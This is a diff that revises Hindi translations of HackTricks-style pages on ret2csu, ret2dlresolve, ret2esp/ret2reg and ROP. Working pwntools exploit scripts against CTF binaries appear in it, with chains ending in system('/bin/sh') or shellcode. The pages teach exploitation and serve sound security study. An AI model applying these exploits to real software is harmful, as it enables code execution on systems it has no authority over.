- [**स्टैक कैनरीज़**](../common-binary-protections-and-bypasses/stack-canaries/index.html): BOF के मामले में, ROP श्रृंखला का दुरुपयोग करने के लिए लौटने वाले प्वाइंटर्स को ओवरराइट करने के लिए स्टोर स्टैक कैनरी को बायपास करना आवश्यक है।
|
||||
- **गैजेट्स की कमी**: यदि पर्याप्त गैजेट्स नहीं हैं, तो ROP श्रृंखला उत्पन्न करना संभव नहीं होगा।
|
||||
|
||||
## ROP आधारित तकनीकें
|
||||
@ -184,7 +184,7 @@ rop-syscall-execv/
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
|
||||
- 64 बिट, Pie और nx सक्षम, कोई कैनरी नहीं, RIP को `vsyscall` पते के साथ ओवरराइट करें जिसका एकमात्र उद्देश्य स्टैक में अगले पते पर लौटना है जो फ्लैग लीक करने वाले कार्य के भाग का आंशिक ओवरराइट होगा
|
||||
- 64 बिट, Pie और nx सक्षम, कोई कैनरी नहीं, RIP को `vsyscall` पते के साथ ओवरराइट करें जिसका एकमात्र उद्देश्य स्टैक में अगले पते पर लौटना है जो उस कार्य के पते का आंशिक ओवरराइट होगा जो ध्वज को लीक करता है
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, कोई ASLR नहीं, स्टैक में शेलकोड पर कूदने और स्टैक को निष्पादित करने के लिए ROP गैजेट
|
||||
|
||||
|
@ -14,7 +14,7 @@
|
||||
|
||||
**`__libc_csu_init`** में, दो निर्देशों के अनुक्रम (gadgets) को उजागर करने के लिए हैं:
|
||||
|
||||
1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये ऐसे स्लॉट की तरह होते हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहीत कर सकते हैं।
|
||||
1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये उन स्लॉट्स की तरह होते हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहीत कर सकते हैं।
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
@ -24,10 +24,10 @@ pop r14;
|
||||
pop r15;
|
||||
ret;
|
||||
```
|
||||
यह गैजेट हमें इन रजिस्टरों को नियंत्रित करने की अनुमति देता है, स्टैक से मानों को पॉप करके।
|
||||
यह गैजेट हमें इन रजिस्टरों को नियंत्रित करने की अनुमति देता है, स्टैक से मानों को पॉप करके उन्हें में डालने के लिए।
|
||||
|
||||
2. दूसरा अनुक्रम उन मानों का उपयोग करता है जो हमने सेट किए हैं, कुछ चीजें करने के लिए:
|
||||
- **विशिष्ट मानों को अन्य रजिस्टरों में स्थानांतरित करें**, उन्हें कार्यों में पैरामीटर के रूप में उपयोग करने के लिए तैयार करना।
|
||||
- **विशिष्ट मानों को अन्य रजिस्टरों में स्थानांतरित करें**, उन्हें हमारे लिए फ़ंक्शनों में पैरामीटर के रूप में उपयोग करने के लिए तैयार करना।
|
||||
- **एक स्थान पर कॉल करें** जो r15 और rbx में मानों को जोड़कर, फिर rbx को 8 से गुणा करके निर्धारित किया गया है।
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
@ -35,7 +35,7 @@ mov rsi, r14;
|
||||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
3. शायद आप वहां लिखने के लिए कोई पता नहीं जानते हैं और आपको **`ret` निर्देश** की आवश्यकता है। ध्यान दें कि दूसरा गैजेट भी **`ret` पर समाप्त होगा**, लेकिन आपको इसे प्राप्त करने के लिए कुछ **शर्तों** को पूरा करना होगा:
|
||||
3. शायद आप वहां लिखने के लिए कोई पता नहीं जानते और आपको **`ret` निर्देश** की आवश्यकता है। ध्यान दें कि दूसरा गैजेट भी **`ret` पर समाप्त होगा**, लेकिन आपको इसे प्राप्त करने के लिए कुछ **शर्तों** को पूरा करना होगा:
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
@ -49,8 +49,8 @@ ret
|
||||
```
|
||||
शर्तें होंगी:
|
||||
|
||||
- `[r12 + rbx*8]` को एक पते की ओर इशारा करना चाहिए जो एक कॉल करने योग्य फ़ंक्शन को स्टोर कर रहा है (यदि कोई विचार नहीं है और कोई pie नहीं है, तो आप बस `_init` फ़ंक्शन का उपयोग कर सकते हैं):
|
||||
- यदि \_init `0x400560` पर है, तो GEF का उपयोग करके इसके लिए मेमोरी में एक पॉइंटर खोजें और `[r12 + rbx*8]` को \_init के लिए पॉइंटर के साथ पता बनाएं:
|
||||
- `[r12 + rbx*8]` को एक कॉल करने योग्य फ़ंक्शन के पते की ओर इशारा करना चाहिए (यदि कोई विचार नहीं है और कोई pie नहीं है, तो आप बस `_init` फ़ंक्शन का उपयोग कर सकते हैं):
|
||||
- यदि \_init `0x400560` पर है, तो GEF का उपयोग करके इसके लिए मेमोरी में एक पॉइंटर खोजें और `[r12 + rbx*8]` को \_init के लिए पॉइंटर वाला पता बनाएं:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
@ -60,16 +60,16 @@ gef➤ search-pattern 0x400560
|
||||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
- `rbp` और `rbx` का वही मान होना चाहिए ताकि कूद से बचा जा सके
|
||||
- `rbp` और `rbx` का मान समान होना चाहिए ताकि कूद से बचा जा सके
|
||||
- कुछ छोड़े गए pops हैं जिन्हें आपको ध्यान में रखना चाहिए
|
||||
|
||||
## RDI और RSI
|
||||
|
||||
**`rdi`** और **`rsi`** को ret2csu गैजेट से नियंत्रित करने का एक और तरीका है कि इसे विशिष्ट ऑफसेट्स तक पहुँचें:
|
||||
**`rdi`** और **`rsi`** को ret2csu गैजेट से नियंत्रित करने का एक और तरीका है विशेष ऑफसेट्स तक पहुंचना:
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
अधिक जानकारी के लिए इस पृष्ठ की जाँच करें:
|
||||
अधिक जानकारी के लिए इस पृष्ठ की जांच करें:
|
||||
|
||||
{{#ref}}
|
||||
brop-blind-return-oriented-programming.md
|
||||
@ -79,14 +79,14 @@ brop-blind-return-oriented-programming.md
|
||||
|
||||
### कॉल का उपयोग करना
|
||||
|
||||
कल्पना करें कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन `rdx` और `rsi` रजिस्टर में विशेष मानों की आवश्यकता है। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं।
|
||||
कल्पना करें कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन `rdx` और `rsi` रजिस्टर में विशेष मान चाहिए। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं।
|
||||
|
||||
यहाँ **ret2csu** काम में आता है:
|
||||
यहां **ret2csu** काम में आता है:
|
||||
|
||||
1. **रजिस्टर सेट करें**: पहले जादुई गैजेट का उपयोग करें ताकि स्टैक से मानों को निकालकर rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डाल सकें।
|
||||
2. **दूसरे गैजेट का उपयोग करें**: उन रजिस्टरों को सेट करने के बाद, आप दूसरे गैजेट का उपयोग करते हैं। यह आपको अपने चुने हुए मानों को `rdx` और `rsi` (क्रमशः r14 और r13 से) में स्थानांतरित करने की अनुमति देता है, जो फ़ंक्शन कॉल के लिए पैरामीटर तैयार करता है। इसके अलावा, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को उस फ़ंक्शन को कॉल करने के लिए बना सकते हैं जो आप पता लगाते हैं और `[r15 + rbx*8]` में रखते हैं।
|
||||
|
||||
आपके पास [**इस तकनीक का उपयोग करते हुए एक उदाहरण और इसे यहाँ समझाते हुए**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) है, और यह अंतिम शोषण है जिसका इसने उपयोग किया:
|
||||
आपके पास [**इस तकनीक का उपयोग करते हुए एक उदाहरण और इसे समझाते हुए**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) है, और यह अंतिम शोषण है जिसका इसने उपयोग किया:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -111,11 +111,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
||||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल एक फ़ंक्शन **`win`** को कॉल करना है (ROP चेन में `gets` को कॉल करके `win` का पता लेना और इसे r15 में स्टोर करना) तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है।
|
||||
> ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल एक फ़ंक्शन **`win`** को कॉल करना है (ROP चेन में `win` के पते को stdin से कॉल करते हुए और इसे r15 में स्टोर करते हुए) तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है।
|
||||
|
||||
### कॉल को बायपास करना और रिट तक पहुँचना
|
||||
### कॉल को बायपास करना और रिट तक पहुंचना
|
||||
|
||||
निम्नलिखित एक्सप्लॉइट [**इस पृष्ठ से निकाला गया**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) जहाँ **ret2csu** का उपयोग किया गया है लेकिन कॉल का उपयोग करने के बजाय, यह **तुलनाओं को बायपास कर रहा है और कॉल के बाद `ret` तक पहुँच रहा है:**
|
||||
निम्नलिखित एक्सप्लॉइट [**इस पृष्ठ से निकाला गया**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) जहां **ret2csu** का उपयोग किया गया है लेकिन कॉल का उपयोग करने के बजाय, यह **तुलनाओं को बायपास कर रहा है और कॉल के बाद `ret` तक पहुंच रहा है:**
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
@ -167,6 +167,6 @@ target.interactive()
|
||||
```
|
||||
### Why Not Just Use libc Directly?
|
||||
|
||||
आमतौर पर ये मामले भी [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) के प्रति संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन पैरामीटर को नियंत्रित करने की आवश्यकता होती है जो सीधे libc में पाए गए गैजेट्स के साथ आसानी से नियंत्रित नहीं किए जा सकते। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**।
|
||||
आमतौर पर ये मामले भी [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html) के प्रति संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन पैरामीटर को नियंत्रित करने की आवश्यकता होती है जो सीधे libc में पाए गए गैजेट्स के साथ आसानी से नियंत्रित नहीं किए जा सकते। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,22 +6,22 @@
|
||||
|
||||
जैसा कि [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) और [**Relro**](../common-binary-protections-and-bypasses/relro.md) के पृष्ठ में समझाया गया है, बिना Full Relro के बाइनरी पहली बार उपयोग किए जाने पर प्रतीकों (जैसे बाहरी पुस्तकालयों के लिए पते) को हल करेंगे। यह समाधान **`_dl_runtime_resolve`** फ़ंक्शन को कॉल करके होता है।
|
||||
|
||||
**`_dl_runtime_resolve`** फ़ंक्शन स्टैक से कुछ संरचनाओं के संदर्भ लेता है जिनकी उसे निर्दिष्ट प्रतीक को **हल करने** के लिए आवश्यकता होती है।
|
||||
**`_dl_runtime_resolve`** फ़ंक्शन स्टैक से कुछ संरचनाओं के संदर्भ लेता है जिनकी उसे निर्दिष्ट प्रतीक को **हल** करने के लिए आवश्यकता होती है।
|
||||
|
||||
इसलिए, सभी इन संरचनाओं को **फेक करना संभव है** ताकि गतिशील रूप से लिंक किया गया हल किया गया प्रतीक (जैसे **`system`** फ़ंक्शन) और इसे एक कॉन्फ़िगर किए गए पैरामीटर (जैसे **`system('/bin/sh')`**) के साथ कॉल किया जा सके।
|
||||
इसलिए, सभी इन संरचनाओं को **फेक करना संभव है** ताकि गतिशील रूप से लिंक किया गया प्रतीक (जैसे **`system`** फ़ंक्शन) को हल किया जा सके और इसे एक कॉन्फ़िगर किए गए पैरामीटर के साथ कॉल किया जा सके (जैसे **`system('/bin/sh')`**)।
|
||||
|
||||
आमतौर पर, इन सभी संरचनाओं को एक **प्रारंभिक ROP श्रृंखला बनाकर फेक किया जाता है जो `read`** को लिखने योग्य मेमोरी पर कॉल करता है, फिर **संरचनाएँ** और स्ट्रिंग **`'/bin/sh'`** को पास किया जाता है ताकि वे एक ज्ञात स्थान पर पढ़े जाने के द्वारा संग्रहीत हों, और फिर ROP श्रृंखला **`_dl_runtime_resolve`** को कॉल करके जारी रहती है, इसे **फेक संरचनाओं में `system` का पता हल करने** के लिए और **इस पते को** `$'/bin/sh'` के पते के साथ कॉल करने के लिए।
|
||||
आमतौर पर, इन सभी संरचनाओं को एक **प्रारंभिक ROP श्रृंखला बनाकर फेक किया जाता है जो `read`** को लिखने योग्य मेमोरी पर कॉल करता है, फिर **संरचनाएँ** और स्ट्रिंग **`'/bin/sh'`** को पास किया जाता है ताकि उन्हें एक ज्ञात स्थान पर पढ़ा जा सके, और फिर ROP श्रृंखला **`_dl_runtime_resolve`** को कॉल करके जारी रहती है, इसे **फेक संरचनाओं में `system` का पता हल करने** के लिए और **इस पते को** `$'/bin/sh'` के पते के साथ कॉल करने के लिए।
|
||||
|
||||
> [!TIP]
|
||||
> यह तकनीक विशेष रूप से उपयोगी है यदि syscall gadgets नहीं हैं (जैसे [**ret2syscall**](rop-syscall-execv/) या [SROP](srop-sigreturn-oriented-programming/)) और libc पते लीक करने के तरीके नहीं हैं।
|
||||
> यह तकनीक विशेष रूप से उपयोगी है यदि syscall गैजेट्स नहीं हैं (जैसे [**ret2syscall**](rop-syscall-execv/index.html) या [SROP](srop-sigreturn-oriented-programming/index.html) जैसी तकनीकों का उपयोग करने के लिए) और libc पते लीक करने के तरीके नहीं हैं।
|
||||
|
||||
इस तकनीक के बारे में वीडियो के दूसरे भाग में एक अच्छा स्पष्टीकरण देखने के लिए चेक करें:
|
||||
इस तकनीक के बारे में वीडियो के दूसरे भाग में एक अच्छा स्पष्टीकरण देखने के लिए इस वीडियो को चेक करें:
|
||||
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
या इन पृष्ठों को चरण-दर-चरण स्पष्टीकरण के लिए चेक करें:
|
||||
या चरण-दर-चरण स्पष्टीकरण के लिए इन पृष्ठों को देखें:
|
||||
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
@ -58,7 +58,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
|
||||
### शुद्ध Pwntools
|
||||
|
||||
आप इस तकनीक का [**उदाहरण यहाँ पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **जो अंतिम ROP श्रृंखला का बहुत अच्छा विवरण प्रदान करता है**, लेकिन यहाँ उपयोग किया गया अंतिम शोषण है:
|
||||
आप इस तकनीक का [**उदाहरण यहाँ पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **जिसमें अंतिम ROP श्रृंखला का बहुत अच्छा विवरण है**, लेकिन यहाँ उपयोग किया गया अंतिम शोषण है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -188,6 +188,6 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
||||
- 32bit, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, बुनियादी छोटे बफर ओवरफ्लो और रिटर्न। इसे शोषित करने के लिए bof का उपयोग `read` को फिर से कॉल करने के लिए किया जाता है एक `.bss` सेक्शन और एक बड़े आकार के साथ, वहां `dlresolve` नकली तालिकाओं को लोड करने के लिए `system` को स्टोर करने के लिए, मुख्य में वापस लौटने और प्रारंभिक bof का फिर से दुरुपयोग करने के लिए dlresolve को कॉल करने और फिर `system('/bin/sh')` करने के लिए।
|
||||
- 32bit, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, बुनियादी छोटे बफर ओवरफ्लो और रिटर्न। इसे शोषित करने के लिए bof का उपयोग `read` को फिर से कॉल करने के लिए किया जाता है एक `.bss` सेक्शन और एक बड़े आकार के साथ, वहां `dlresolve` नकली तालिकाओं को लोड करने के लिए `system`, मुख्य में लौटने और प्रारंभिक bof का फिर से दुरुपयोग करने के लिए dlresolve को कॉल करने और फिर `system('/bin/sh')` करने के लिए।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## **Ret2esp**
|
||||
|
||||
**क्योंकि ESP (स्टैक पॉइंटर) हमेशा स्टैक के शीर्ष की ओर इशारा करता है**, यह तकनीक EIP (इंस्ट्रक्शन पॉइंटर) को **`jmp esp`** या **`call esp`** इंस्ट्रक्शन के पते से बदलने में शामिल है। ऐसा करने से, शेलकोड ठीक ओवरराइटेड EIP के बाद रखा जाता है। जब `ret` इंस्ट्रक्शन निष्पादित होता है, तो ESP अगले पते की ओर इशारा करता है, ठीक उसी जगह जहां शेलकोड संग्रहीत है।
|
||||
**क्योंकि ESP (स्टैक पॉइंटर) हमेशा स्टैक के शीर्ष की ओर इशारा करता है**, यह तकनीक EIP (इंस्ट्रक्शन पॉइंटर) को **`jmp esp`** या **`call esp`** इंस्ट्रक्शन के पते से बदलने में शामिल है। ऐसा करने से, शेलकोड ठीक EIP के ओवरराइट होने के बाद रखा जाता है। जब `ret` इंस्ट्रक्शन निष्पादित होता है, तो ESP अगले पते की ओर इशारा करता है, जो ठीक उसी स्थान पर है जहाँ शेलकोड संग्रहीत है।
|
||||
|
||||
यदि **एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** Windows या Linux में सक्षम नहीं है, तो साझा पुस्तकालयों में पाए जाने वाले `jmp esp` या `call esp` इंस्ट्रक्शनों का उपयोग करना संभव है। हालाँकि, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) सक्रिय होने पर, किसी को इन इंस्ट्रक्शनों के लिए कमजोर प्रोग्राम के भीतर देखना पड़ सकता है (और आपको [**PIE**](../common-binary-protections-and-bypasses/pie/) को हराने की आवश्यकता हो सकती है)।
|
||||
यदि **एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** Windows या Linux में सक्षम नहीं है, तो साझा पुस्तकालयों में पाए गए `jmp esp` या `call esp` इंस्ट्रक्शनों का उपयोग करना संभव है। हालाँकि, [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) सक्रिय होने पर, आपको इन इंस्ट्रक्शनों के लिए कमजोर प्रोग्राम के भीतर देखना पड़ सकता है (और आपको [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) को हराने की आवश्यकता हो सकती है)।
|
||||
|
||||
इसके अलावा, EIP भ्रष्टाचार के **बाद शेलकोड** को रखने में सक्षम होना, न कि स्टैक के मध्य में, यह सुनिश्चित करता है कि कार्य के संचालन के दौरान निष्पादित किसी भी `push` या `pop` इंस्ट्रक्शनों का शेलकोड के साथ हस्तक्षेप नहीं होता है। यह हस्तक्षेप तब हो सकता है जब शेलकोड कार्य के स्टैक के मध्य में रखा गया हो।
|
||||
इसके अलावा, EIP भ्रष्टाचार के **बाद शेलकोड रखने** में सक्षम होना, न कि स्टैक के मध्य में, यह सुनिश्चित करता है कि फ़ंक्शन के संचालन के दौरान निष्पादित किसी भी `push` या `pop` इंस्ट्रक्शनों का शेलकोड के साथ हस्तक्षेप नहीं होता है। यह हस्तक्षेप तब हो सकता है जब शेलकोड फ़ंक्शन के स्टैक के मध्य में रखा गया हो।
|
||||
|
||||
### स्थान की कमी
|
||||
|
||||
यदि RIP को ओवरराइट करने के बाद लिखने के लिए आपके पास स्थान की कमी है (शायद केवल कुछ बाइट्स), तो एक प्रारंभिक **`jmp`** शेलकोड लिखें जैसे:
|
||||
यदि आप RIP को ओवरराइट करने के बाद लिखने के लिए स्थान की कमी महसूस कर रहे हैं (शायद केवल कुछ बाइट्स), तो एक प्रारंभिक **`jmp`** शेलकोड लिखें जैसे:
|
||||
```armasm
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
@ -80,9 +80,9 @@ target.interactive()
|
||||
|
||||
इसी तरह, यदि हम जानते हैं कि एक फ़ंक्शन उस पते को लौटाता है जहाँ शेलकोड संग्रहीत है, तो हम **`call eax`** या **`jmp eax`** निर्देशों का उपयोग कर सकते हैं (जिसे **ret2eax** तकनीक के रूप में जाना जाता है), जो हमारे शेलकोड को निष्पादित करने का एक और तरीका प्रदान करता है। जैसे eax, **कोई अन्य रजिस्टर** जिसमें एक दिलचस्प पता हो, का उपयोग किया जा सकता है (**ret2reg**).
|
||||
|
||||
### उदाहरण
|
||||
### Example
|
||||
|
||||
आप कुछ उदाहरण यहाँ पा सकते हैं: 
|
||||
You can find some examples here: 
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
|
||||
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
|
||||
@ -98,17 +98,17 @@ for i in `seq 1 30`; do
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
||||
done
|
||||
```
|
||||
मैंने केवल वही खोजा जो उस रजिस्ट्रि के मान को बदल देगा जहाँ sp को कूदने से पहले कॉपी किया गया था (इसलिए यह बेकार हो जाएगा):
|
||||
मैंने केवल वही खोजा जो उस रजिस्ट्र्री के मान को बदल देगा जहाँ sp को कूदने से पहले कॉपी किया गया था (इसलिए यह बेकार हो जाएगा):
|
||||
|
||||
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ret2reg
|
||||
|
||||
यदि किसी रजिस्ट्रि का एक दिलचस्प पता है, तो इसे कूदने के लिए केवल उचित निर्देश खोजकर कूदना संभव है। आप कुछ ऐसा उपयोग कर सकते हैं:
|
||||
यदि किसी रजिस्ट्र्री का एक दिलचस्प पता है, तो इसे कूदने के लिए केवल उचित निर्देश खोजकर कूदना संभव है। आप कुछ ऐसा उपयोग कर सकते हैं:
|
||||
```bash
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
|
||||
```
|
||||
ARM64 में, यह **`x0`** है जो एक फ़ंक्शन का रिटर्न वैल्यू स्टोर करता है, इसलिए यह हो सकता है कि x0 एक बफर का पता स्टोर करता है जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है जिसमें निष्पादित करने के लिए एक शेलकोड होता है।
|
||||
ARM64 में, यह **`x0`** है जो एक फ़ंक्शन के लौटने वाले मान को संग्रहीत करता है, इसलिए यह संभव है कि x0 एक बफर के पते को संग्रहीत करता है जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है जिसमें निष्पादित करने के लिए एक शेलकोड होता है।
|
||||
|
||||
उदाहरण कोड:
|
||||
```c
|
||||
@ -135,11 +135,11 @@ do_stuff(2)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
फंक्शन के डिसअसेंबली की जांच करने पर यह देखा जा सकता है कि **बफर का पता** (bof के लिए संवेदनशील और **उपयोगकर्ता द्वारा नियंत्रित**) **`x0` में संग्रहीत** है बफर ओवरफ्लो से लौटने से पहले:
|
||||
फंक्शन के डिसअसेम्बली की जांच करने पर यह देखा जा सकता है कि **बफर का पता** (bof के लिए संवेदनशील और **उपयोगकर्ता द्वारा नियंत्रित**) **`x0` में स्टोर किया गया है** बफर ओवरफ्लो से लौटने से पहले:
|
||||
|
||||
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
यह भी संभव है कि **`do_stuff`** फंक्शन में **गैजेट **`br x0`** पाया जाए:
|
||||
यह भी संभव है कि **`do_stuff`** फंक्शन में **गैजेट `br x0`** पाया जाए:
|
||||
|
||||
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
@ -159,13 +159,13 @@ p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
> [!WARNING]
|
||||
> यदि `fgets` के बजाय कुछ ऐसा **`read`** का उपयोग किया गया होता, तो **केवल रिटर्न एड्रेस के अंतिम 2 बाइट्स को ओवरराइट करके** PIE को बायपास करना संभव होता, ताकि `br x0;` इंस्ट्रक्शन पर वापस लौट सकें बिना पूरे एड्रेस को जाने।\
|
||||
> यदि `fgets` के बजाय कुछ ऐसा **`read`** का उपयोग किया गया होता, तो **केवल रिटर्न एड्रेस के अंतिम 2 बाइट्स को ओवरराइट करके** `br x0;` इंस्ट्रक्शन पर वापस जाना संभव होता, बिना पूरे एड्रेस को जाने।\
|
||||
> `fgets` के साथ यह काम नहीं करता क्योंकि यह **अंत में एक नल (0x00) बाइट जोड़ता है**।
|
||||
|
||||
## Protections
|
||||
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): यदि स्टैक निष्पादन योग्य नहीं है तो यह मदद नहीं करेगा क्योंकि हमें शेलकोड को स्टैक में रखना है और इसे निष्पादित करने के लिए कूदना है।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): ये किसी इंस्ट्रक्शन को esp या किसी अन्य रजिस्टर पर कूदने के लिए ढूंढना कठिन बना सकते हैं।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): ये किसी इंस्ट्रक्शन को esp या किसी अन्य रजिस्टर पर कूदने के लिए ढूंढना कठिन बना सकते हैं।
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
यह Ret2lib के समान है, हालाँकि, इस मामले में हम किसी पुस्तकालय से एक फ़ंक्शन को कॉल नहीं करेंगे। इस मामले में, सब कुछ `sys_execve` syscall को कुछ तर्कों के साथ `/bin/sh` निष्पादित करने के लिए कॉल करने के लिए तैयार किया जाएगा। यह तकनीक आमतौर पर उन बाइनरी पर की जाती है जो स्थिर रूप से संकलित होती हैं, इसलिए वहाँ कई गैजेट और syscall निर्देश हो सकते हैं।
|
||||
